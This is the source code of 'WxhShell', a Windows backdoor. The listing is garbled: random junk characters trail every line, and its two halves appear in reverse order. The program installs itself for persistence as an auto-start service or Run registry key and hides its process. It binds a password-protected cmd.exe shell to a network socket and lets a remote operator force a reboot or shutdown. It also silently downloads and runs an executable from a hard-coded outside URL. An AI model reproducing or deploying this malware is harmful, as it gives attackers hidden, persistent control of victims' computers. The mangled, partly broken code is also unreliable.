    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;_amgRP7$  
    else { N#@xo)-H  
    closesocket(wsh); 8A"[n>931  
    ExitThread(0); DBAJkBs  
    } ih.UzPg  
    break; z{d],M  
    } T?!^-PD9*  
  // 获取shell `]\4yTd  
  case 's': { 'G>Ejh@t  
    CmdShell(wsh); x5v^@_: jr  
    closesocket(wsh); BnvUPDT&  
    ExitThread(0); VD/Wl2DK  
    break; Qc;`n ck  
  } H. uflO  
  // 退出 hghtF  
  case 'x': { B, xrZs  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 0 !9vGs  
    CloseIt(wsh); _55T  
    break; ,r{*o6  
    } 4U<'3~RN  
  // 离开 O}NR{B0B3&  
  case 'q': { {*~aVw {k  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ItDe_|!L  
    closesocket(wsh); 583ej2HPg  
    WSACleanup(); #j d?ocoY  
    exit(1); ,a?)#X  
    break; _Jk-nZgn  
        } SOb17:o3|  
  } $JqdI/s  
  } ~53E)ilB  
CEc& G  
  // 提示信息 V:6#IL  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -Hh$3U v  
} UYW%% 5p?  
  } %83PbH  
1]A%lud4  
  return; $Bz|[=  
} <E$P  
+6*oO|   
// shell模块句柄 lk \|EG  
int CmdShell(SOCKET sock) 6ecr]=Cv  
{ KZ ?<&x  
STARTUPINFO si; 6Kh: m-E9  
ZeroMemory(&si,sizeof(si)); 0MMY{@n  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?XsL4HI x  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Z{chAg\  
PROCESS_INFORMATION ProcessInfo; 0vS%m/Zi-  
char cmdline[]="cmd"; [aO"9  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); v 8{oXzyy  
  return 0; PdMx6 Ab  
} cy)L%`(7  
sa#=#0yg  
// 自身启动模式 $MKx\qx}  
int StartFromService(void) 1(w0* `  
{ ]WN{8   
typedef struct o80pmy7@  
{ x?:WR*5w  
  DWORD ExitStatus; g0rdF  
  DWORD PebBaseAddress; ex'd^y  
  DWORD AffinityMask; aP8Im1<A  
  DWORD BasePriority; )7q;F m_/  
  ULONG UniqueProcessId; g]$>G0E`oD  
  ULONG InheritedFromUniqueProcessId; 5Ag]1k{  
}   PROCESS_BASIC_INFORMATION; 1dfA 8=L,s  
'0H +2  
PROCNTQSIP NtQueryInformationProcess; 5ez"B]&T  
_ H$ Cm  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; T fzad2}^  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; i.cSD%*  
uFSgjWJ#~  
  HANDLE             hProcess; zq4,%$y8|  
  PROCESS_BASIC_INFORMATION pbi; ]!YzbvoR  
<2A4}+p:  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); uAzV a!)  
  if(NULL == hInst ) return 0; t1Hd-]28V  
;TmwIZ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); D: JGd$`  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ?U|~h1   
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }-zx4<4BH  
YH':cze  
  if (!NtQueryInformationProcess) return 0; !\ y_ik  
C1p |.L?m  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); v&H&+:<  
  if(!hProcess) return 0; fQ#mx.|8y  
X%`8h _  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; s<:"rw`  
SnQ$  
  CloseHandle(hProcess); d#ld*\|  
(`3 Bi]7  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); @=Ly#HuUM  
if(hProcess==NULL) return 0; umrRlF4M;  
SjlkKulMF  
HMODULE hMod; e6s L N  
char procName[255]; Mk@_uPm  
unsigned long cbNeeded; CG=#rc]vz  
><\mt  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Nj#!L~^h,  
4LBjqv,P  
  CloseHandle(hProcess); vm8QKPy  
1)u= &t,  
if(strstr(procName,"services")) return 1; // 以服务启动 lG\lu'<C  
J4`08,  
  return 0; // 注册表启动 5uDQ*nJ|  
} S`0@fieOf  
jq.@<<j|$  
// 主模块 ,e.y4 vnU  
int StartWxhshell(LPSTR lpCmdLine) Oq+C<}eg  
{ V_+3@C  
  SOCKET wsl; %3xH<$Gq5  
BOOL val=TRUE; p@cPm8L3  
  int port=0; M_9|YjwS  
  struct sockaddr_in door; Kwh3SU=L}  
(5km]`7z  
  if(wscfg.ws_autoins) Install(); aEZl ICpU7  
Aba6/  
port=atoi(lpCmdLine); YXV![gw0  
K<|b>PI.s  
if(port<=0) port=wscfg.ws_port; kZz;l(?0  
i"JF~6c<  
  WSADATA data; c?q#?K aF  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; NNe'5q9  
z W+wtYV4  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   =i:?4pIZ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Yn J=&21  
  door.sin_family = AF_INET; ?_HTOOa  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); !o*oT}6n  
  door.sin_port = htons(port); j:<E=[Kl  
i]Kq  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { v`wPdb  
closesocket(wsl); )j6S<mn  
return 1; 5fVdtJk7  
} ?:U6MjlQ"{  
oWXvkDN   
  if(listen(wsl,2) == INVALID_SOCKET) { v+Mt/8  
closesocket(wsl); : FxZdE  
return 1; :M=!MgD3w  
} `uzRHbJ`  
  Wxhshell(wsl); kx'6FkZPIr  
  WSACleanup(); )K5~r>n&  
Gc@ENE f  
return 0; 6 _73  
@&,r|-  
} "}PmAr e  
m1+DeXR_g  
// 以NT服务方式启动 W9eR3q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) !>>$'.nb@~  
{ L Q;JtLu1  
DWORD   status = 0; .' X$SF`  
  DWORD   specificError = 0xfffffff; E"V|Plf c  
4=q\CK2^A  
  serviceStatus.dwServiceType     = SERVICE_WIN32; {`J7>K  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; \;P Bx &  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; o<C~67o_  
  serviceStatus.dwWin32ExitCode     = 0; ]t #,{%h  
  serviceStatus.dwServiceSpecificExitCode = 0; ](T*f'LN  
  serviceStatus.dwCheckPoint       = 0; 1%1-j  
  serviceStatus.dwWaitHint       = 0; 3FNj~=N  
OsC1('4@  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 4[Oy3.-c  
  if (hServiceStatusHandle==0) return; `0 .5aa  
,j5fzA  
status = GetLastError(); "h:xdaIE/p  
  if (status!=NO_ERROR) Nb B`6@r  
{ }r,k*I'K  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; QV?\?9(  
    serviceStatus.dwCheckPoint       = 0; F~* 5`o  
    serviceStatus.dwWaitHint       = 0; N:&^ql4  
    serviceStatus.dwWin32ExitCode     = status; i(U*<1y  
    serviceStatus.dwServiceSpecificExitCode = specificError; rRsLl/d  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); u_:" u  
    return; 0Q>Yoa 11  
  } hV=)T^Q  
/D~z}\k  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; $9hOWti  
  serviceStatus.dwCheckPoint       = 0; T[<9Ty'^  
  serviceStatus.dwWaitHint       = 0; "G4{;!0C  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1h)I&T"kZ  
}  Gc SX5c  
4|Z3;;%+  
// 处理NT服务事件,比如:启动、停止 C:P,q6  
VOID WINAPI NTServiceHandler(DWORD fdwControl) CZbp}:|  
{ :L\@+}{(c  
switch(fdwControl) bLf }U9  
{ D$ `yxc  
case SERVICE_CONTROL_STOP: M4')gG;  
  serviceStatus.dwWin32ExitCode = 0; !JrVh$K  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; /u#uC(Uwl  
  serviceStatus.dwCheckPoint   = 0; M+nz~,![  
  serviceStatus.dwWaitHint     = 0; >TtkG|/U-T  
  { wt)tLMEv  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); m\jp$  
  } meIY00   
  return; L {\B9b2  
case SERVICE_CONTROL_PAUSE: $=H\#e)]Ug  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; BQw#PXp3  
  break; 9nd'"$  
case SERVICE_CONTROL_CONTINUE: z?E:s.4F  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ux-Fvwoh  
  break; Kb4u)~S:  
case SERVICE_CONTROL_INTERROGATE: NCl={O9<j  
  break; \UN7lDH  
}; c()F%e:n  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); O{%y `|m  
} dq|z;,`  
>B~p[wh0  
// 标准应用程序主函数 vsES`  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) C\EV $U,  
{ QEtZ]p1H@  
r%TgZ5~u  
// 获取操作系统版本 <\yM{ V\  
OsIsNt=GetOsVer(); bh_i*DJ]  
GetModuleFileName(NULL,ExeFile,MAX_PATH); )7J@A%u  
_=, [5"  
  // 从命令行安装 4Jo:^JV  
  if(strpbrk(lpCmdLine,"iI")) Install(); ?b2%\p`"  
K4l,YR;r  
  // 下载执行文件 S W  
if(wscfg.ws_downexe) { 4$vya+mAk5  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) L!/USh:IP  
  WinExec(wscfg.ws_filenam,SW_HIDE); qW7S<ouh  
} @gs Kb* ,  
rEZa%)XJ  
if(!OsIsNt) { HM--`RJ  
// 如果时win9x,隐藏进程并且设置为注册表启动 $7PFos%@  
HideProc(); j7O7P+DmS  
StartWxhshell(lpCmdLine); #msk'MVt  
} i}M&1E  
else PVV\@  
  if(StartFromService()) i' N  
  // 以服务方式启动 z!t &zkAK  
  StartServiceCtrlDispatcher(DispatchTable); n;!t?jnf.  
else #nn2odR  
  // 普通方式启动 |4 wVWJ7   
  StartWxhshell(lpCmdLine); e9N 1xB  
| F: ?  
return 0; ]36R_Dp  
} TQbhK^]  
_RjM .  
'<8ewU  
9I9J}&4  
=========================================== /t ,ujTK  
2<Ub[R  
:^?ZVi59j  
2rD`]neA  
f*kT7PJG  
xOD;pRZQ  
" }&;0:hw%  
>*Y~I0>  
#include <stdio.h> ,?i#NN5p  
#include <string.h> d<: VoQM6M  
#include <windows.h> l=bB,7gL  
#include <winsock2.h> %n!s{5:F  
#include <winsvc.h> 8M:;9a8fh  
#include <urlmon.h> %VSST?aUvX  
O/l|\n  
#pragma comment (lib, "Ws2_32.lib") 3P'.)=}  
#pragma comment (lib, "urlmon.lib") jskATA /  
J%D'Xlb  
#define MAX_USER   100 // 最大客户端连接数 Px'%5TKN  
#define BUF_SOCK   200 // sock buffer a<c %Xy/  
#define KEY_BUFF   255 // 输入 buffer `^(6{p ?  
UHweV:(|T  
#define REBOOT     0   // 重启 8pt;''  
#define SHUTDOWN   1   // 关机 Y@RPQPmIQ  
_vvnxG!x&  
#define DEF_PORT   5000 // 监听端口 h^34{pKDn  
hRGK W  
#define REG_LEN     16   // 注册表键长度 c9i CH~  
#define SVC_LEN     80   // NT服务名长度 ToDN^qE+  
b)'Ew27  
// 从dll定义API bIe>j*VPh@  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Lj({ T'f(  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); H6rWb6i  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); a*74FVZo.;  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 0XL x@FYn  
PS(9?rX#+  
// wxhshell配置信息 :uhvDYp(-  
struct WSCFG { In=3#u ,M  
  int ws_port;         // 监听端口 ZXHG2@E)  
  char ws_passstr[REG_LEN]; // 口令 CI$F#j  
  int ws_autoins;       // 安装标记, 1=yes 0=no fd*=`+P  
  char ws_regname[REG_LEN]; // 注册表键名 -Qqb/y  
  char ws_svcname[REG_LEN]; // 服务名 op&,&  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 yIqsZJj  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 LK/gG6n5M0  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 tSE6m-  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ]#))#-&1  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" $U"/.Mh\  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 E{ Y0TZ+  
KdYT5VUM/  
}; )v8;\1`s:  
u ldea)  
// default Wxhshell configuration #j iQa"  
struct WSCFG wscfg={DEF_PORT, tkV:kh< L~  
    "xuhuanlingzhe", HC}D<FX |  
    1, Mz+|~'R  
    "Wxhshell",  +6uun  
    "Wxhshell", r/:s2 oQ  
            "WxhShell Service", [$9sr=3:  
    "Wrsky Windows CmdShell Service", m-> chOu~|  
    "Please Input Your Password: ", :h*20iP  
  1, E9%xSMS8@  
  "http://www.wrsky.com/wxhshell.exe", sVaWg?=qs'  
  "Wxhshell.exe" "op1xto  
    }; kH1l -mxz  
!bT0kP$3}  
// 消息定义模块 ~$!eB/6ty  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; !);}zW!  
char *msg_ws_prompt="\n\r? for help\n\r#>"; &g.w~KWa  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; t<}'/ )  
char *msg_ws_ext="\n\rExit."; ^=E4~22q  
char *msg_ws_end="\n\rQuit."; u#la+/   
char *msg_ws_boot="\n\rReboot..."; iN+p>3w^l  
char *msg_ws_poff="\n\rShutdown..."; mcS/-DaN?  
char *msg_ws_down="\n\rSave to "; U|-4*l9Ed  
{eqUEdC  
char *msg_ws_err="\n\rErr!"; #B)/d?aa'  
char *msg_ws_ok="\n\rOK!"; f1hi\p0q  
VH,k EbJ  
char ExeFile[MAX_PATH]; DU]MMR  
int nUser = 0; G\Toi98d*  
HANDLE handles[MAX_USER]; zZki9P   
int OsIsNt; hH )jX`Ta  
Q gDjc '  
SERVICE_STATUS       serviceStatus; <74q]C  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; =@gH$Q_1  
?VS {,"X  
// 函数声明 wC'KI8-  
int Install(void); 2~Gcoda  
int Uninstall(void); 8X5;)h   
int DownloadFile(char *sURL, SOCKET wsh); dGP*bMCT  
int Boot(int flag); L.l%EcW=,  
void HideProc(void); C<6u}czA  
int GetOsVer(void); >:Xzv  
int Wxhshell(SOCKET wsl); /$&~0pk  
void TalkWithClient(void *cs); a%*W^R9Ls  
int CmdShell(SOCKET sock); 2frJSV?  
int StartFromService(void); )'DFDrY  
int StartWxhshell(LPSTR lpCmdLine); !ssE >bDa  
Y?ZTl762  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); h_* =_2|}  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); V|#B=W  
Qaq{UW  
// 数据结构和表定义 ;=*b:y Y  
SERVICE_TABLE_ENTRY DispatchTable[] = ) 8st  
{ zd>[uIOR  
{wscfg.ws_svcname, NTServiceMain}, ] A9Vh  
{NULL, NULL} h7[VXE  
}; :v1'(A1t  
m\"M`o B  
// 自我安装 r7JILk  
int Install(void) 7ABHgw~?8r  
{ Ud`V"X  
  char svExeFile[MAX_PATH]; :4]&R9J>o  
  HKEY key; g^}X3NUn  
  strcpy(svExeFile,ExeFile); *z` {$hc  
h8u(lIRHQ  
// 如果是win9x系统,修改注册表设为自启动 <u u1e@P  
if(!OsIsNt) { -NiFO  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { A{y3yH`#h  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3vQ?vS|2  
  RegCloseKey(key); g0cCw2S  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { UyD=x(li  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); H,:Cg:E/^  
  RegCloseKey(key); b;9v.MZ4>g  
  return 0; 7{v0K"E{  
    } @T?:[nPf&F  
  } R 4E0avt  
} .<rL2`C[c  
else { [WY NA-O  
>F Z6\  
// 如果是NT以上系统,安装为系统服务 7s<v06Wo  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); q,QMvUK:  
if (schSCManager!=0) Ibd7[A\  
{ W{1=O)w  
  SC_HANDLE schService = CreateService Fl(+c0|kT  
  ( W\N-~9UA  
  schSCManager, X~]eQaJ  
  wscfg.ws_svcname, rS>njG;R  
  wscfg.ws_svcdisp, 84e)huAs  
  SERVICE_ALL_ACCESS, ,XI,B\eNk  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , V6BCW;   
  SERVICE_AUTO_START, isQ{Xt~K  
  SERVICE_ERROR_NORMAL, YAC=V?U-#  
  svExeFile, _GI [SzD  
  NULL, VqVP5nT'=  
  NULL, h9>~?1$lz  
  NULL, HEht^ /pJ  
  NULL, czdNqk.kh  
  NULL 0O!%NL[,  
  ); W{=>c/  
  if (schService!=0) Gv?3}8Wp  
  { frc>0\  
  CloseServiceHandle(schService); E88_15'3D  
  CloseServiceHandle(schSCManager); e_\4(4x  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 3/}=x<ui  
  strcat(svExeFile,wscfg.ws_svcname); ~Jp\'P7*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 8 E.u3eS  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 7I(Sa?D:  
  RegCloseKey(key); ,5t.0XqS  
  return 0; N%_-5Q)so  
    } -t:y y:4  
  } JAmv7GL'6  
  CloseServiceHandle(schSCManager); 76zi)f1f  
} &q``CCOF&  
} P[#V{%f*5  
SZ1+h TY7d  
return 1; x4.-7%VV%  
} nDui9C  
/_ o1b_1 U  
// 自我卸载 z=n"cE[KtB  
int Uninstall(void) \8{C$"F  
{ <`H:Am`  
  HKEY key; S"5</*  
r\ ` R$  
if(!OsIsNt) { mBQ6qmK   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3AX/A+2  
  RegDeleteValue(key,wscfg.ws_regname); 9oc.`-e\?  
  RegCloseKey(key); ?Xh=rx_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { p`33`25  
  RegDeleteValue(key,wscfg.ws_regname); PO<4rT+B  
  RegCloseKey(key); &qMSJ  
  return 0; tA}O'x  
  } D-E30b]e  
} _2}i8q:  
} &wK%p/?  
else { -]W AB9  
c<pr1g  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); [M Z'i/  
if (schSCManager!=0)  p&:R SO  
{ + :iNoDz  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); :HMnU37m W  
  if (schService!=0) Le|Ho^h,Y  
  { ;u!>( QQ  
  if(DeleteService(schService)!=0) { Mm^o3vl  
  CloseServiceHandle(schService); 3MNo&0M9  
  CloseServiceHandle(schSCManager); t9Pu:B6  
  return 0; ?J%$;"q  
  } i/-Xpj]Zf  
  CloseServiceHandle(schService); 0)yvyQ5  
  } nd'zO#"m?  
  CloseServiceHandle(schSCManager); Vyu0OiGcR  
} h+t{z"Ic=  
} iN<&  
pRPz1J$58  
return 1; g[q1P:I@W  
} $-jj%x\}  
<M7@JgC &  
// 从指定url下载文件 EAj2uV  
int DownloadFile(char *sURL, SOCKET wsh) ^qS[2Dy  
{ GT|=Apnwr%  
  HRESULT hr; bkLm]n3  
char seps[]= "/"; [fxAj]  
char *token; T AwA)Zg  
char *file; y9pQ1H<F;  
char myURL[MAX_PATH]; /".+OpL  
char myFILE[MAX_PATH]; k8 ,.~HkU  
d]0fgwwGC  
strcpy(myURL,sURL); R`!x<J  
  token=strtok(myURL,seps); ^r}^-  
  while(token!=NULL) ~ NK w}6  
  { 2\CFt;fk  
    file=token; Z[ZqQ` 7N  
  token=strtok(NULL,seps); !@W1d|{lu  
  } ~BDVmQa  
'fy1'^VPAV  
GetCurrentDirectory(MAX_PATH,myFILE); ;oH%d;H  
strcat(myFILE, "\\"); jxZ R%D  
strcat(myFILE, file); aqoT  
  send(wsh,myFILE,strlen(myFILE),0); ;jo,&C  
send(wsh,"...",3,0); `:}GE@]  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); |A 8xy#  
  if(hr==S_OK) 7'J}|m{7  
return 0; ?U cW@B{  
else a%Q.8  
return 1; ]lXTIej`dy  
YB*ZYpRVl  
} n;xtUw6 \  
$s)G0/~W  
// 系统电源模块 CLdLO u"  
int Boot(int flag) 2%rAf8=  
{ iNT1lk  
  HANDLE hToken; [ 3]!*Cd  
  TOKEN_PRIVILEGES tkp; (SkI9[1\@3  
*G.6\  
  if(OsIsNt) { g(;t,Vy,I  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); zYbSv~)  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); K0g<11}(Yg  
    tkp.PrivilegeCount = 1; HulN84  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Hhx<k{B@7  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); .%M=dL>  
if(flag==REBOOT) { %)i?\(/  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) p*-o33Ve  
  return 0; T,TKt%  
} rk-}@vp  
else { 13'tsM&  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) kbI:}b7H  
  return 0; n-#?6`>a  
} gk>A  
  } ALiA+k N  
  else { i(a2FKLy  
if(flag==REBOOT) { z5=&qo|f9l  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Yih^ZTf]O?  
  return 0; H8`K?SXU  
} @j K7bab:  
else { \XCs(lNh  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) - 9UQs.Nv  
  return 0; .o]vjNrd/  
} *QG>U[  
} Y@Lv>p  
BikmAa  
return 1; 6*A S4l  
} "c\ZUx_i6  
!BIq>pO%Ui  
// win9x进程隐藏模块 F7E #x  
void HideProc(void)  =SRp  
{ Vv B%,_\  
fM]zD/ g  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); >dUnk)7  
  if ( hKernel != NULL ) |z<E%`u%  
  { _W@q%L>  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 0mF3Vs`-Q  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); IMmoq={ (z  
    FreeLibrary(hKernel); ;4z6="<Y  
  } &\F`M|c  
g|9' Lk  
return; R.Ao%VT  
} 8*V3g_z  
:5L9tNr{_  
// 获取操作系统版本 _ncqd,&z  
int GetOsVer(void) '&I.w p`^  
{ t9Ht 5 4  
  OSVERSIONINFO winfo; |dsd5Vdr  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 5sao+dZ"|  
  GetVersionEx(&winfo); m;>HUTj  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) N32!*TsWs  
  return 1; ?i>.<IPOq  
  else )|~pocXt<  
  return 0; ~]*P/'-{#  
} j,K]T J  
u%Bk"noCa  
// 客户端句柄模块 *T$`5|  
int Wxhshell(SOCKET wsl) +?),BRCce  
{ 21O!CvX   
  SOCKET wsh; ? DWF7{1  
  struct sockaddr_in client; ;[R{oW Nw  
  DWORD myID; k#_B^J&d  
f\nF2rlu  
  while(nUser<MAX_USER) |bk.gh  
{ ^8,HJG,!  
  int nSize=sizeof(client); "~:o#~F6  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); U!r2`2LY  
  if(wsh==INVALID_SOCKET) return 1; < S:SIaf0  
' JsP9>)  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); :EJ+#  
if(handles[nUser]==0) vrXUS9i.  
  closesocket(wsh); %G1kkcdH<  
else B<SuNbR  
  nUser++; c:.k2u  
  } 3fgVvt-2  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); h2# G  
\{ r%.G  
  return 0; <Td4 o&JR  
} Wf^6:  
$vnshU8/v  
// 关闭 socket 3R1v0  
void CloseIt(SOCKET wsh) Cu3^de@h  
{ EtjN :p|$  
closesocket(wsh); _Qs=v0B//  
nUser--; ^31X-}t v  
ExitThread(0); rK;F]ei  
} -/*-e /+b  
] mYT!(}  
// 客户端请求句柄 9^h0D}#@  
void TalkWithClient(void *cs) 9YS&RBJu  
{ &x =}m  
MDGD*Qn~  
  SOCKET wsh=(SOCKET)cs; Z& e_yl  
  char pwd[SVC_LEN]; sPuNwVX>}I  
  char cmd[KEY_BUFF]; `h*)PitRa  
char chr[1]; 8@^=k.5IK  
int i,j; )R.y>Ucb0  
Tp2`eY5  
  while (nUser < MAX_USER) { '!>LF1W=  
2fM*6CaS  
if(wscfg.ws_passstr) { U6;,<-bL  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); bx`s;r=  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); tn&~~G~#  
  //ZeroMemory(pwd,KEY_BUFF); 8x#SpDI  
      i=0;  u;R<  
  while(i<SVC_LEN) { 0l=g$G \%  
A0Pg|M  
  // 设置超时 tu8n1W  
  fd_set FdRead; &i179Qg!  
  struct timeval TimeOut; xs y5"  
  FD_ZERO(&FdRead); &,/_"N"?D  
  FD_SET(wsh,&FdRead); #!(OTe L  
  TimeOut.tv_sec=8; 6}zargu(;  
  TimeOut.tv_usec=0; c193Or'6Y  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);  MO|aN,  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); BO)K=gl;8  
:Lu=t3#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); W9nmTz\8  
  pwd=chr[0]; 2x%Xx3!  
  if(chr[0]==0xd || chr[0]==0xa) { qOAK`{b  
  pwd=0; Qxr&zT7f  
  break; #\U;,r  
  } w7aC=B/{?i  
  i++; <2@V$$Qg.~  
    } < 3i2(k  
;/T=ctIs  
  // 如果是非法用户,关闭 socket N) D;)ZH  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); n\Y{ ?x  
} r!A1Sfo4P  
P/uk]5H^  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); OIP JN8V  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \@8j&],dl  
8D7 = ]  
while(1) { ',`GdfAsH  
Q'xZ\t  
  ZeroMemory(cmd,KEY_BUFF); EF1aw2  
-wJ/j~ +m+  
      // 自动支持客户端 telnet标准   OE_;i}58  
  j=0; F*Lm=^:  
  while(j<KEY_BUFF) { RS'!>9I  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1 XsB  
  cmd[j]=chr[0]; 1Z-f@PoM  
  if(chr[0]==0xa || chr[0]==0xd) { J<J_yRg2  
  cmd[j]=0; !;EG<ji,gj  
  break; N6yPuH  
  } ]@YBa4}w  
  j++; 5R"My^G  
    } yv1Z*wTpO  
67<Ym0+ =  
  // 下载文件 uXD?s3Wv  
  if(strstr(cmd,"http://")) { GR6BpV7  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); t<~$?tuZ  
  if(DownloadFile(cmd,wsh)) h^QicvZ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); IjJO;  
  else x xMV2&,Jq  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |oCE7'BaP  
  } 1Q-O&\-xg  
  else { T#&tf^;  
hbfTv;=z  
    switch(cmd[0]) { 'Bul_D4B  
